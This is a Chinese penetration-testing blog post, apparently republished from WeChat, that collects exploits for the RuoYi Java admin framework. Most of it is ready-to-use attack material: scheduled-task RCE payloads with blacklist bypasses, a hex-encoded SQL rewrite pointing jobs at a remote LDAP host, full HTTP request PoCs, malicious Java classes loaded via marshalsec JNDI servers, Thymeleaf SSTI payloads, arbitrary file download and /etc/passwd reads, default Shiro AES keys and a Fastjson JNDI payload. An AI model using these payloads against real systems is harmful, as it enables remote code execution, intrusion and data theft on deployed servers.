Kali Linux

若依常见漏洞一把梭(下)

2026-06-26 #网络安全#渗透测试#Kali Linux#若依

来源:https://mp.weixin.qq.com/s/30ZqYZJP6zf1R_BYIKkqzA

免责声明

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号陌笙不太懂安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

前言

文章太长了,分成上下两篇。若依常见漏洞一把梭(上)

版本4.6.2<=Ruoyi<4.7.2

这个版本采用了黑名单限制调用字符串:

  • 定时任务屏蔽ldap远程调用
  • 定时任务屏蔽http(s)远程调用
  • 定时任务屏蔽rmi远程调用

Bypass方法

咱们只需要在屏蔽的协议加上单引号,接着采用之前的方式:

例如:

1
2
3
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["h't't'p'://127.0.0.1:88/yaml-payload.jar"]]]]]')

org.springframework.jndi.JndiLocatorDelegate.lookup('r'm'i://127.0.0.1:1099/refObj')

源代码中绕过版本 4.6.2<=Ruoyi<4.7.2 这个版本采用了黑名单限制调用字符串,直接在代码中将这段 if 语句中的黑名单过滤语句注释掉即可绕过。

版本:RuoYi <=4.7.8

新版本添加了过滤,为白名单,仅允许调用 com.ruoyi 下的包。

因为过滤是在创建任务或者修改任务时过滤的,同时 genTableServiceImpl 里面有一个执行 sql 语句的功能,那么我们是不是可以通过 genTableServiceImpl 去修改数据库中的数据,改为我们的恶意代码,进而 rce 呢。

复现步骤

1、创建计划任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /monitor/job/add HTTP/1.1
Host: 192.168.137.1
Content-Length: 146
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.137.1
Referer: http://192.168.137.1/monitor/job/add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
Connection: close

createBy=admin&jobName=test1&jobGroup=DEFAULT&invokeTarget=ryTask.ryParams('ry')&cronExpression=*+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&remark=

首先创建两个计划任务,重复发送以上包两次即可。

2、修改计划任务

比如我们创建的两个任务的 id 为 103 和 104,就去修改 103 的内容,把 WHERE job_id= 的值改为 104:

1
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729 WHERE job_id = 104;')

其中 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729 的内容为 javax.naming.InitialContext.lookup('ldap://xcrlginufj.dgrh3.cn') 的 hex 编码,将其改为我们的恶意 ladp 服务器即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /monitor/job/edit HTTP/1.1
Host: 192.168.137.1
Content-Length: 370
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.137.1
Referer: http://192.168.137.1/monitor/job/edit/104
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
Connection: close

jobId=103&updateBy=admin&jobName=test1&jobGroup=DEFAULT&invokeTarget=genTableServiceImpl.createTable('UPDATE+sys_job+SET+invoke_target+%3D+0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729+WHERE+job_id+%3D+104%3B')&cronExpression=*+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=1&remark=

再去执行 103 的计划:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /monitor/job/run HTTP/1.1
Content-Length: 370
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.137.1
Referer: http://192.168.137.1/monitor/job/edit/104
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
Connection: close
Host: 192.168.137.1

jobId=103

执行完之后我们就发现 104 的内容变为了我们的恶意命令,然后执行 104 去打 snakeyaml 即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /monitor/job/run HTTP/1.1
Content-Length: 370
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.137.1
Referer: http://192.168.137.1/monitor/job/edit/104
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
Connection: close
Host: 192.168.137.1

jobId=104

不出网利用

不出网利用需要将恶意 jar 文件上传到服务器本地。

注入方法:把 jar 放到系统可以访问的地方,在定时任务创建新的定时任务,再立即执行一次即可:

1
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["you_url_of_jar"]]]]]')

若依 snakeyaml 反序列化漏洞注入内存马

RuoYi

  1. 直接执行命令:?cmd=whoami
  2. 连接冰蝎:/login?cmd=1(cmd不为空即可),密码为 rebeyond,使用冰蝎正常连接即可
  3. 卸载内存马:?cmd=delete

RuoYi Vue

  1. 直接执行命令:/dev-api/?cmd=whoami
  2. 连接冰蝎:暂不支持
  3. 卸载内存马:/dev-api/?cmd=delete

漏洞五:若依后台定时任务RCE(JNDI注入)

若依版本:4.2

简介

通过 JNDI 远程加载恶意类。JNDI 注入只在低版本 JAVA 中适用(小于以下版本可用):

JDK版本 RMI LDAP
JDK6 不可用 6u132 不可用 6u221
JDK7 不可用 7u122 不可用 7u201
JDK8 不可用 8u113 不可用 8u119
JDK11 不可用 11.0.1

编写恶意类并进行编译

1
2
3
4
5
6
7
8
9
10
11
12
public class Calc{
public Calc(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Calc c = new Calc();
}
}

编译:javac Calc.java

将 Calc.class 文件通过 python 服务暴露:

1
python -m http.server 5555 --bind 0.0.0.0

访问:http://192.168.10.17:5555/Calc.class

RMI注入

使用 marshalsec 工具启动一个 RMI 服务,链接类指向我们公开的端口:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.17:5555/#Calc" 8888

添加一个定时任务,通过 lookup 函数加载远程类:

目标字符串:

1
org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://192.168.10.17:8888/Calc')

cron 表达式:0/10 * * * * ?

点击执行任务,弹出计算器,测试成功。

漏洞六:后台定时任务RCE(LDAP注入)

启动 ldap 服务:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.10.17:5555/#Calc" 8888

添加一个定时任务通过 lookup 函数加载远程类:

目标字符串:

1
javax.naming.InitialContext.lookup('ldap://192.168.10.17:8888/#Calc')

cron 表达式:0/10 * * * * ?

概念解释

JNDI (Java Naming and Directory Interface)

  • 是什么:Java 命名和目录接口,是 Java 提供的一个 API
  • 作用:允许 Java 程序通过统一接口访问各种命名和目录服务(如 LDAP、RMI、DNS 等)
  • 比喻:就像手机的”应用商店” - 一个统一界面,可以连接不同来源的应用
  • 关键点:JNDI 本身不是协议,而是一个接口标准

LDAP (Lightweight Directory Access Protocol)

  • 是什么:轻量级目录访问协议
  • 作用:用于访问和维护分布式目录信息服务(如用户认证、组织信息等)
  • 比喻:就像公司的”员工通讯录”服务
  • 常见用途:企业用户认证、地址簿
  • 端口:通常 389(明文)/ 636(SSL)

RMI (Remote Method Invocation)

  • 是什么:Java 远程方法调用
  • 作用:让一个 Java 虚拟机上的对象可以调用另一个 Java 虚拟机上的对象方法
  • 比喻:就像 Java 的”远程控制”功能
  • 特点:纯 Java 技术,支持对象序列化
  • 端口:通常 1099

关系图:

1
2
3
4
5
JNDI (接口/API)
├── 可以通过 JNDI 访问 LDAP 服务
├── 可以通过 JNDI 访问 RMI 服务
├── 可以通过 JNDI 访问 DNS、文件系统等
└── 其他目录服务...

JNDI 注入攻击流程:

  1. 应用使用 Log4j 记录日志(如记录 ${jndi:ldap://attacker.com/exp}
  2. Log4j 解析到 JNDI 查找
  3. 通过 JNDI 请求 LDAP 服务器(attacker.com)
  4. LDAP 服务器返回恶意 Java 类的 RMI 地址
  5. 受害者通过 RMI 加载并执行恶意类
  6. 远程代码执行完成

漏洞七:后台任意文件下载漏洞

漏洞简介

若依管理系统后台存在任意文件下载漏洞。影响版本:若依管理系统 4.7.6 及以下版本

该漏洞是由于在 RuoYi 低版本文件下载接口 /common/download/resource 中未对输入的路径做限制,导致可下载任意文件。

漏洞复现

漏洞利用前提:登录进后台。首先提交一个定时任务。

POC:

1
2
3
4
5
6
7
POST /monitor/job/add HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 184
Cookie: JSESSIONID=bac0bc47-598f-4f6c-b2db-642244070e11

createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('c://windows/win.ini')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=

通过浏览器直接 get 请求以下地址即可,下载任意文件:

1
http://127.0.0.1/common/download/resource?resource=c://windows/win.ini:.zip

sendMessageWithAttachment 任意文件读取漏洞

1
/demo/mail/sendMessageWithAttachment?to=test111@163.com&subject=Test-Mail&text=This%20is%20a%20test%20message&filePath=/etc/passwd

漏洞八:Shiro反序列化(RuoYi<V-4.6.2)

该漏洞原理简单来说就是 Shiro 将用户认证信息存储到 remeberme 字段中,后端读取该字段是将该字段在服务器反序列化并通过可利用的 gadget 实现 RCE 漏洞。虽然 shiro 使用了 AES 加密 remeberme 字段信息,但是由于 shiro-1.2.4 版本在依赖 jar 中硬编码该密钥,因此使用 shiro-1.2.4 版本的系统则可以通过该密钥解密 remeberme 字段数据,在 remeberme 字段中写入恶意的类,让系统在后端反序列化过程中执行,这就是 shiro550 漏洞的原理。

而 ruoyi 使用的 shiro 的高版本,可以自定义密钥,但是由于开发者安全意识不强,在使用 ruoyi 开发框架时并未更改 ruoyi 代码中默认的密钥,这同样会导致 shiro 反序列化漏洞。

漏洞复现

工具下载:https://github.com/SummerSec/ShiroAttack2

使用命令启动工具:java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar

RuoYi-4.2 版本使用的是 shiro-1.4.2,在该版本和该版本之后都需要勾选 AES GCM 模式。

RuoYi-4.2 可用利用链为 CommonsBeanutilString 这条链。

RuoYi各版本的AES默认密钥

RuoYi 版本号 默认AES密钥
4.6.1-4.3.1 zSyK5Kp6PZAAjlT+eeNMlg==
3.4-及以下 fCq+/xW488hMTCD+cmJ3aQ==

4.2 版本及以上需要使用 GCM 模式

RuoYi-4.6.2 版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此 4.6.2 版本以后,在没有获取到密钥的情况下无法再进行利用。

漏洞九:SSTI(模板注入)漏洞

仅适用 V-4.7.1

RuoYi 的以下文件存在可控的 return 字段:

  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.java
  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\demo\controller\DemoFormController.java

由于 RuoYi 使用的是 thymeleaf 视图渲染组件,因此可进行 SSTI 模板注入。

其中可注入的接口包括:

  • /getNames
  • /getKeys
  • /getValue
  • /localrefresh/task 接口满足条件。

漏洞复现

接口 /monitor/cache/getName,构包(该接口需要有效 cookie)。

构建 fragment 参数 payload,由于系统未对 fragment 参数做任何处理就进行返回,因此我们可以直接插入 thymeleaf 表达式,使用 ${} 注入执行表达式,T() 访问 java 类和静态访问。

构建 payload:

1
${T(java.lang.Runtime).getRuntime().exec("calc.exe")}

由于 thymeleaf 高版本对 T() 进行了一些限制,不过可通过在 T 和 ( 之间增加空格的办法进行绕过:

1
${T (java.lang.Runtime).getRuntime().exec("calc.exe")}

攻击接口

接口 /monitor/cache/getNames

1
2
3
4
5
6
7
POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2

cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec("calc.exe")}

接口 /monitor/cache/getKeys

1
2
3
4
5
6
7
POST /monitor/cache/getKeys HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2

cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec("calc.exe")}

接口 /monitor/cache/getValue

1
2
3
4
5
6
7
POST /monitor/cache/getValue HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2

cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec("calc.exe")}

在 RuoYi-4.7.2 版本中,使用了 thymeleaf 版本 3.0.14.RELEASE 已无法再进行注入。

漏洞十:Fastjson组件漏洞

漏洞利用

点击系统工具 –> 代码生成 –> 导入 –> 用户和角色关联表

点击修改,模版选择数表,其余的都选择用户ID,点击保存。

点击保存抓包,将漏洞测试 POC 进行填写:

1
2
3
POST /tool/gen/edit HTTP/1.1

params%5B@type%5D=org.apache.shiro.jndi.JndiObjectFactory&params%5BresourceName%5D=ldap://vps—ip/Evil

恶意类的创建

新建项目,构建系统选择 Maven,新建 java 类,类的名称为 Evil。

Evil 里面的内容:

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

运行完成后,复制编译好的 Evil.class。

将构建恶意类放在远程的 vps,运行 web 服务器:

1
python -m http.server 80

JNDI 加载恶意类:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.241.10:80/#Evil 6666

漏洞十一:任意用户注册

访问 /register

评论
分享